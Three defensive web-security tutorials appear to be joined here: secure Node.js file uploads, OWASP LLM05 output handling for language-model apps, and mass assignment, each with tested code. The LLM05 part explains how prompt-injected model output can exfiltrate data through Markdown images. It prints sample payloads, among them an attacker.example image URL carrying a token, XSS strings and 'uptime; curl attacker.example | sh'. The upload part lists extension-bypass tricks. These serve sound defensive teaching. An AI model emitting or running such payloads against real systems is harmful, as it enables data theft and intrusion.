A secure file upload accepts only the types you need, decides the filename and extension itself, stores the bytes somewhere nothing will execute or serve them directly, and checks authorization again on download. The OWASP File Upload Cheat Sheet says it plainly: “There is no silver bullet in validating user content.” No single check is enough, so you stack them.

This guide builds that stack in Node.js and tests it. Versions: Node.js 22.23.4, Express 5.3.0, Multer 2.5.0, file-type 22.3.0 and sharp 0.35.5, installed from npm on 2026-10-30.

Why uploads keep turning into breaches

Unrestricted upload is CWE-434. In the CISA KEV catalog (version 2026.10.29), 24 entries carry CWE-434, eight of them added in 2026. The count is a floor: not every KEV entry has a CWE assigned. The most recent is the Magento “PolyShell” bug we covered in Magento CVE-2026-48356: Patch and Hunt, where the fix included making sure upload directories can’t execute code.

The OWASP cheat sheet groups the risks into two kinds:

• Malicious files: exploits for the parser that processes the file, phishing documents, zip and XML bombs, overwriting existing files, and active content such as HTML or SVG that attacks other users.
• Public retrieval: if uploads are publicly reachable, attackers can enumerate other users’ files, use them for DoS, or host illegal content on your domain.

The endpoint, step by step

Here is the full server. Each control is explained below.

// Node.js 22, Express 5.3.0, Multer 2.5.0, file-type 22.3.0 (package.json: "type": "module")
import express from 'express';
import multer from 'multer';
import { fileTypeFromBuffer } from 'file-type';
import { randomUUID } from 'node:crypto';
import { writeFile, mkdir } from 'node:fs/promises';
import path from 'node:path';

const UPLOAD_DIR = process.env.UPLOAD_DIR ?? '/srv/app-uploads'; // not under any static/public dir
const ALLOWED = new Map([            // detected type -> extension we will store
  ['image/png', 'png'],
  ['image/jpeg', 'jpg'],
  ['application/pdf', 'pdf'],
]);
const files = new Map();             // id -> { owner, mime, ext }; use your database in production

const upload = multer({
  storage: multer.memoryStorage(),   // bytes stay in memory until they pass checks
  limits: { fileSize: 5 * 1024 * 1024, files: 1, fields: 5, parts: 6 },
});

// Stand-in for your real auth middleware
function requireUser(req, res, next) {
  const user = req.get('x-demo-user');
  if (!user) return res.status(401).json({ error: 'login required' });
  req.user = { id: user };
  next();
}

const app = express();

app.post('/uploads', requireUser, upload.single('file'), async (req, res) => {
  if (!req.file) return res.status(400).json({ error: 'no file' });
  const detected = await fileTypeFromBuffer(req.file.buffer);   // magic bytes, not the client's Content-Type
  if (!detected || !ALLOWED.has(detected.mime)) {
    return res.status(415).json({ error: 'file type not allowed' });
  }
  const id = randomUUID();
  const ext = ALLOWED.get(detected.mime);
  await mkdir(UPLOAD_DIR, { recursive: true, mode: 0o700 });
  // Server-chosen name; 'wx' fails instead of overwriting; 0o600 = no execute bit
  await writeFile(path.join(UPLOAD_DIR, `${id}.${ext}`), req.file.buffer, { flag: 'wx', mode: 0o600 });
  files.set(id, { owner: req.user.id, mime: detected.mime, ext });
  res.status(201).json({ id });
});

const UUID = /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/;

app.get('/files/:id', requireUser, (req, res) => {
  const meta = UUID.test(req.params.id) && files.get(req.params.id);
  if (!meta || meta.owner !== req.user.id) return res.status(404).end();  // authz on every download
  res.set({
    'Content-Type': meta.mime,                       // the type we detected, never the client's
    'Content-Disposition': `attachment; filename="${req.params.id}.${meta.ext}"`,
    'X-Content-Type-Options': 'nosniff',
    'Content-Security-Policy': "default-src 'none'; sandbox",
  });
  res.sendFile(`${req.params.id}.${meta.ext}`, { root: UPLOAD_DIR });
});

app.use((err, req, res, next) => {
  if (err instanceof multer.MulterError) {
    const status = err.code === 'LIMIT_FILE_SIZE' ? 413 : 400;
    return res.status(status).json({ error: err.code });
  }
  next(err);
});

app.listen(3000, () => console.log('listening on :3000'));

The x-demo-user header and the in-memory files map exist only so the example runs on its own. Replace them with your session middleware and a database table.

1. Authenticate before parsing, and only on the routes that need it

requireUser runs before upload.single(), so an anonymous request is rejected before Multer reads a byte of the body. Multer’s README warns: “Never add multer as a global middleware since a malicious user could upload files to a route that you didn’t anticipate.” Mount it per route, as above.

2. Set every limit

Multer passes limits straight to busboy, and the defaults in the Multer 2.5.0 README are generous: fileSize, files, parts and fields all default to Infinity. The README also notes that “Limits apply to the whole request; there is no per-file limit.” Set them to what the feature needs. Map LIMIT_FILE_SIZE to 413 and other Multer errors to 400 in your error handler, as the example does.

memoryStorage() holds the whole file in RAM, which is why fileSize matters. For large files, use disk storage into a private temp directory and run the same checks before moving the file into place. If you also accept compressed data, the limit has to apply after decompression; see Node.js decompression bombs.

3. Detect the type from content, against an allowlist

The Content-Type of each part is whatever the client says. OWASP: “it is trivial to spoof.” fileTypeFromBuffer() reads the file’s magic number instead, and we compare the result to a short allowlist of types the feature actually needs.

Know the limits of this check. The file-type readme says detection “is a best-effort hint. It does not guarantee the file is actually of that type or that the file is valid/not malformed.” It also covers only binary formats, “not text-based formats like .txt, .csv, .svg”. If you need text formats, validate them with a real parser.

4. Choose the name and extension yourself

The stored name is a UUID plus the extension mapped from the detected type. The user’s originalname is never used on disk, which removes the whole class of tricks OWASP lists for extensions (.jpg.php, .php%00.jpg, .pHp, .phtml, shell.asp:.jpg) and path traversal in filenames. If you need to show the original name, store it as data in your database and escape it on output.

The wx flag makes writeFile fail if the path exists rather than overwrite it. Mode 0o600 means no execute bit, and your process umask can only make it stricter.

5. Store outside anything that serves or executes files

OWASP ranks storage options in this order: a different host, then outside the webroot, then inside the webroot with write-only permissions. UPLOAD_DIR must not be inside express.static(), your nginx root, or a PHP document root. Private object storage (an S3 bucket with Block Public Access on, served by short-lived signed URLs) satisfies “different host”.

If files have to live under a web server’s document root, also turn off per-directory overrides there. OWASP’s example is Apache AllowOverride None, so an uploaded .htaccess can’t remap .png to the PHP handler. For PHP stacks, our php.ini hardening guide covers the upload-related settings.

6. Serve through a handler with defensive headers

The download route checks ownership on every request. Without that, a guessable or leaked ID becomes an IDOR. It then sets four headers:

Serving user files from a separate domain (for example a dedicated usercontent domain) adds one more layer: active content never runs on the same origin as your session cookies.

What we tested, and what got through

We started the server with UPLOAD_DIR set to a temp directory and sent ten requests with curl:

Both stored files were -rw-------. Test 4 is the one to remember. A PNG with code appended is still a valid PNG, so magic-byte detection passed it. It did no harm because of what came after: the traversal filename was ignored, the stored name ended in .png, the directory isn’t served or interpreted, and downloads go out as attachments with a sandbox CSP. Remove any one of those and the polyglot becomes more dangerous.

Re-encode images when you can

For images, OWASP recommends decoding and re-encoding to strip anything that isn’t pixels. With sharp, metadata is dropped by default (“The default behaviour, when withMetadata is not used, is to strip all metadata”, per its type definitions):

import sharp from 'sharp';
// limitInputPixels guards against decompression-style image bombs; sharp's default is 268402689 pixels
const clean = await sharp(req.file.buffer, { limitInputPixels: 40_000_000 }).png().toBuffer();

Run on the polyglot from test 4, the 97-byte input contained <?php; the 90-byte output did not. OWASP adds a caveat worth keeping: the image library “itself handles untrusted input”, so keep it patched and, for high-volume or high-risk uploads, run processing in a separate worker or sandbox. The file-type readme makes the same point for its own parser, recommending a size limit and “a worker thread with a timeout” for untrusted files.

Checklist

• Authenticate before parsing; mount Multer only on upload routes.
• Set fileSize, files, fields and parts.
• Detect type from content; compare to a short allowlist; reject text formats you can’t parse.
• Generate the stored name and extension; never write originalname to disk.
• Store outside the webroot or in private object storage, without execute permissions.
• Serve via a handler that checks ownership and sets attachment, nosniff and a sandbox CSP.
• Re-encode images; scan or sandbox documents if they will be opened by staff.
• Protect the upload form from CSRF if it uses cookie auth.

Limits of this article

• We tested one stack (Express 5.3.0, Multer 2.5.0). Other frameworks have different defaults; check their docs for limits and filename handling.
• We did not test antivirus scanning or Content Disarm and Reconstruction for Office or PDF files, which OWASP also recommends where applicable.
• The in-memory metadata map and header-based “auth” are placeholders and are not production-ready.

Sources and verification

A model’s output feels like your application’s own text. It isn’t. Anyone who can influence the prompt, directly or through a web page, email or file the model reads, can influence what comes out. When that output is rendered as HTML, run as SQL, passed to a shell or used as a file path, the attacker’s influence reaches those systems too. OWASP’s Top 10 for LLM Applications calls this LLM05:2025 Improper Output Handling.

Scope. Based on OWASP’s LLM05:2025 entry (read from the project’s GitHub repository on October 22, 2026). The Python examples were run with Python 3.13, Python-Markdown 3.10.3, nh3 0.3.7 (a Python binding to the Rust Ammonia sanitizer), Pydantic 2.13.5 and SQLite. They demonstrate patterns; they are not a complete defense for any particular application.

What OWASP covers

OWASP defines LLM05 as “insufficient validation, sanitization, and handling of the outputs generated by large language models before they are passed downstream to other components and systems”. It notes that because output can be controlled through the prompt, this is “similar to providing users indirect access to additional functionality”. It separates LLM05 from overreliance: LLM05 is about what happens to output before it goes downstream, not about whether the output is accurate.

OWASP’s common examples:

OWASP also lists conditions that raise the impact: giving the model more privileges than end users have, exposure to indirect prompt injection, third-party extensions that don’t validate inputs, no context-aware output encoding, and missing monitoring and rate limiting.

The rest of this article covers three of those destinations with patterns we ran.

1. Rendering Markdown and HTML

Chat interfaces usually render model output as Markdown. Markdown libraries commonly pass raw HTML through (Python-Markdown did in our test), so a model that has been told to emit <img src=x onerror=...> produces script execution in the user’s browser. Markdown images are a quieter problem: if the model emits ![x](https://attacker.example/c?d=SECRET), the browser fetches that URL when it renders the image, sending whatever the model put in it. One of OWASP’s reference links describes this technique against a chat interface.

The pattern: convert Markdown to HTML, then sanitize the HTML with an allowlist, and only allow images from hosts you control.

import markdown, nh3

ALLOWED_TAGS = {"p", "ul", "ol", "li", "strong", "em", "code", "pre", "a", "img", "blockquote"}
IMG_HOSTS = ("https://cdn.example.com/",)

def drop_foreign_images(tag, name, value):
    if tag == "img" and name == "src":
        return value if value.startswith(IMG_HOSTS) else None
    return value

def render_model_markdown(text: str) -> str:
    html = markdown.markdown(text)
    return nh3.clean(html, tags=ALLOWED_TAGS,
                     attributes={"a": {"href"}, "img": {"src", "alt"}},
                     url_schemes={"https"},
                     attribute_filter=drop_foreign_images)

We fed it this model output:

Here is your summary. ![x](https://attacker.example/c?d=SECRET_TOKEN)

<img src=x onerror=alert(1)> [click](javascript:alert(1)) ![logo](https://cdn.example.com/logo.png)

Result:

<p>Here is your summary. <img alt="x"></p>
<p><img> <a rel="noopener noreferrer">click</a> <img alt="logo" src="https://cdn.example.com/logo.png"></p>

The onerror handler and the javascript: link are gone, the attacker’s image URL was stripped, and the image from the allowed host survived. If you don’t need images or links in model output, leave them out of the allowlist entirely. OWASP also recommends a strict Content Security Policy as a second layer; our nonce-based CSP guide covers that, and an img-src directive limited to your own hosts blocks the image exfiltration path even if sanitization misses something.

If you display output as plain text, you don’t need a sanitizer: HTML-encode it, which is what most template engines do by default unless you mark the content as safe.

2. Database queries

OWASP’s third scenario is a chat feature that writes SQL; a user asks for a query that deletes all tables, and the application runs it. OWASP recommends parameterized queries for any database operation involving model output.

The stronger design is to not let the model write SQL at all. Let it choose from operations you define and fill in typed parameters, which you validate before they go anywhere near the database:

from typing import Literal
from pydantic import BaseModel, ConfigDict, Field

class OrderQuery(BaseModel):
    model_config = ConfigDict(extra="forbid")
    status: Literal["open", "shipped", "cancelled"]
    limit: int = Field(default=20, ge=1, le=100)

def run_order_query(db, model_json: str, customer_id: int):
    q = OrderQuery.model_validate_json(model_json)
    return db.execute(
        "SELECT id, status FROM orders WHERE customer_id = ? AND status = ? LIMIT ?",
        (customer_id, q.status, q.limit)).fetchall()

Three details matter. The SQL text is yours. The values are bound as parameters. And customer_id comes from the authenticated session, not from the model, so a prompt can’t redirect the query to another customer’s data. We tested it against an in-memory SQLite table:

Most model APIs can be asked to return output that follows a JSON schema, which makes this pattern practical. Validate anyway: a schema request is not a guarantee.

3. Shell commands and tool calls

OWASP’s first example is model output passed to a shell, exec or eval. The fix is the same shape: the model picks an action by name, your code maps the name to a fixed command, and nothing the model writes is interpreted by a shell.

import subprocess

ACTIONS = {"disk_usage": ["df", "-h"], "uptime": ["uptime"]}

def run_action(model_choice: str):
    argv = ACTIONS.get(model_choice)
    if argv is None:
        raise ValueError(f"action not allowed: {model_choice!r}")
    return subprocess.run(argv, capture_output=True, text=True, timeout=10, check=False).stdout

In our test, "uptime" ran the command, and "uptime; curl attacker.example | sh" was rejected because it isn’t a key in the table. If an action needs an argument, such as a file name, validate it against a pattern and pass it as a separate list element, never by building a command string. For file paths, resolve the path and check it is inside the directory you expect before opening it.

The same logic applies to agent tools that call internal APIs. OWASP’s first scenario describes a general-purpose model passing its output, unvalidated, to an extension with administrative functions. Give each tool the narrowest permission it needs, and validate tool arguments in the tool, not in the prompt.

A checklist

• List every place model output goes: browser, database, shell, file system, email, other APIs, other models.
• For each, decide the encoding or validation that destination needs, as you would for user input. OWASP points to the ASVS (Application Security Verification Standard) for validation and encoding guidance.
• Prefer structured output with an allowlist (actions, enums, typed fields) over free text that you parse.
• Take identity and authorization from the session, never from model output.
• Sanitize rendered Markdown or HTML with an allowlist, and restrict image and link destinations.
• Log model outputs that reach sensitive sinks, and alert on validation failures. A spike in rejected tool calls is a useful signal of injection attempts.
• Rate-limit model usage; OWASP lists missing rate limiting and anomaly detection as impact amplifiers.

These controls limit what a manipulated model can do. They don’t stop the manipulation, which is OWASP’s LLM01:2025 Prompt Injection. If you are new to how request forgery from a server works, our SSRF explainer covers the SSRF outcome OWASP mentions.

Limits of this article

The examples cover three destinations and were run in isolation, not inside a model-driven application. The sanitizer configuration is a starting point; review it against the content your interface actually needs. We did not test any specific model or vendor API, and we did not independently verify the incidents OWASP links as references.

Sources and verification

Checked on October 22, 2026.

A user edits their display name. The browser sends {"display_name": "Bobby"}. An attacker sends {"display_name": "Bobby", "role": "admin"} to the same endpoint, and the server saves both, because the handler copies every field in the request onto the user record. That is a mass assignment vulnerability. It needs no special tooling, only a guess at a field name, and it turns an ordinary profile form into a privilege-escalation endpoint.

Scope. Based on the OWASP Mass Assignment Cheat Sheet and the OWASP API Security Top 10 2023 entry for API3 (both read from OWASP’s GitHub repositories), the Spring Framework data-binding documentation and the Rails Action Controller guide (main branches, read October 22, 2026). The Python example was run with Python 3.13, Flask 3.1.3 and Pydantic 2.13.5 using Flask’s test client. The Spring and Rails snippets are illustrative and were not run.

How it happens

Many frameworks bind request data onto objects automatically. OWASP’s cheat sheet lists the names the weakness goes by: mass assignment in Ruby on Rails and Node.js, autobinding in Spring MVC and ASP.NET MVC, object injection in PHP. The underlying weakness is CWE-915, improperly controlled modification of dynamically determined object attributes.

The risk appears when the object you bind to has more properties than the caller should control: an ORM entity with role, is_verified, org_id or balance. The client never sees those fields in the UI, but OWASP points out that field names can be guessed or discovered and source code access is not needed. API responses often help, because they return the full object, field names included.

OWASP’s cheat sheet cites GitHub’s 2012 incident as a case study: a user was able to add his public key to an organization he didn’t belong to and push changes to its repositories.

In the 2023 OWASP API Security Top 10, mass assignment is part of API3:2023 Broken Object Property Level Authorization. An endpoint is vulnerable if it lets a user read properties they shouldn’t (formerly “Excessive Data Exposure”) or change, add or delete properties they shouldn’t (formerly “Mass Assignment”). OWASP rates exploitability as easy and notes that fuzzing is commonly used to find hidden properties.

A tested example in Python

The vulnerable version writes every key in the JSON body onto the stored user:

from flask import Flask, request, jsonify, g
from pydantic import BaseModel, ConfigDict, EmailStr, ValidationError, Field

app = Flask(__name__)
USERS = {1: {"id": 1, "email": "bob@example.com", "display_name": "Bob",
             "role": "member", "plan": "free", "org_id": 7}}

@app.before_request
def fake_auth():
    g.user_id = 1  # stand-in for real authentication

# Vulnerable: every JSON key the client sends is written to the record.
@app.patch("/v1/me")
def update_me_vulnerable():
    USERS[g.user_id].update(request.get_json())
    return jsonify(USERS[g.user_id])

The fixed version defines what a user may change, and rejects anything else:

# Fixed: a dedicated input model lists the only fields a user may change,
# and rejects anything else instead of silently ignoring it.
class ProfileUpdate(BaseModel):
    model_config = ConfigDict(extra="forbid")
    email: EmailStr | None = None
    display_name: str | None = Field(default=None, max_length=80)

@app.patch("/v2/me")
def update_me_fixed():
    try:
        changes = ProfileUpdate.model_validate(request.get_json())
    except ValidationError as e:
        return jsonify(error="invalid fields",
                       fields=[".".join(map(str, x["loc"])) for x in e.errors()]), 422
    USERS[g.user_id].update(changes.model_dump(exclude_unset=True))
    return jsonify(USERS[g.user_id])

We sent {"display_name": "Bobby", "role": "admin", "plan": "enterprise"} to each endpoint with Flask’s test client:

v1 200 {'display_name': 'Bobby', 'email': 'bob@example.com', 'id': 1, 'org_id': 7, 'plan': 'enterprise', 'role': 'admin'}
v2 422 {'error': 'invalid fields', 'fields': ['plan', 'role']}
v2 200 {'display_name': 'Bobby', 'email': 'bob@example.com', 'id': 1, 'org_id': 7, 'plan': 'free', 'role': 'member'}

The last line is a legitimate request with only display_name, which the fixed endpoint accepts. exclude_unset=True means fields the client didn’t send are left alone, so a partial update doesn’t blank the email. Note that a client that explicitly sends "display_name": null will clear it; add a validator if that should not be allowed. EmailStr needs Pydantic’s optional email extra installed.

This is a demonstration, not production code: authentication is faked and storage is a dictionary.

The same idea in other frameworks

Spring

The Spring documentation’s guidance for safe binding is, in order: prefer immutable objects (records or constructor binding), or dedicated objects designed for the expected input. It says domain objects such as JPA or Hibernate entities “are generally not safe for web binding”, and that if you must bind to them you should declare the allowed properties:

@InitBinder
void initBinder(WebDataBinder binder) {
    binder.setAllowedFields("firstName", "lastName", "*Address");
}

Spring also offers setDeclarativeBinding(true), which applies constructor binding always and setter binding only when allowedFields is set. The current documentation says disallowedFields, the blocklist approach, has been deprecated in Spring Framework 7.1 “because it is fragile and easy to get out of sync with the actual properties over time”.

A note from us: @InitBinder configures Spring’s data binder, which handles form and query parameters bound to @ModelAttribute arguments. JSON request bodies read with @RequestBody are converted by an HTTP message converter instead, so for JSON APIs the dedicated input class is the control that matters.

Rails

Strong parameters are on by default: the Rails guide says passing unpermitted parameters to mass assignment raises ActiveModel::ForbiddenAttributesError. Rails 8.0 added params.expect, which the guide calls “the safest and most explicit way to permit parameters”:

def user_params
  params.expect(user: [:display_name, :email])
end

The guide warns against params.expect(user: {}), which permits every current and future attribute under that key.

Node.js

OWASP’s cheat sheet shows the allowlist approach with a pick function, copying only named fields from req.body before constructing the model. A schema validator that rejects unknown keys does the same job.

Mistakes that reintroduce the bug

• Blocklisting. Excluding role works until someone adds is_staff. OWASP and Spring both recommend allowlists.
• One input model for every caller. An admin endpoint may legitimately set role; a self-service endpoint must not. Use separate input models, or decide per field based on who is calling.
• Nested objects. Binding {"profile": {...}, "account": {"owner_id": 2}} onto an object graph can reach properties several levels down. OWASP’s cheat sheet tells you to review nested objects; Spring’s allowed-field patterns are property paths for the same reason.
• Update paths that bypass the model. A bulk-update job, a GraphQL mutation or an internal admin API that writes the entity directly needs the same allowlist.
• Treating field allowlists as authorization. OWASP says DTOs and allowlists “do not replace” authorization for the requested object and operation. The IDOR guide covers the object-level check, and broken access control covers the wider class.

How to test for it

1. For each write endpoint, compare the request the UI sends with the object the API returns. Every property in the response that isn’t in the request is a candidate.
2. Send each candidate back in the request, one at a time: role, is_admin, plan, org_id, owner_id, verified, balance, created_at.
3. Check the stored result, not just the response code. Some vulnerable endpoints return 200 and the unchanged object, then persist the field anyway, or the reverse. OWASP notes that side-effect analysis may be needed when the property isn’t returned.
4. Add regression tests like the one above, so a refactor that switches back to direct binding fails CI.

Mass assignment is one of the items in our list of common API security misconfigurations, and the response-filtering half of API3 belongs in our public REST API checklist.

Limits of this article

Only the Python example was run. Framework behavior depends on version and configuration; check your framework’s documentation for the version you use. We did not independently verify the 2012 GitHub incident beyond OWASP’s citation.

Sources and verification

Checked on October 22, 2026.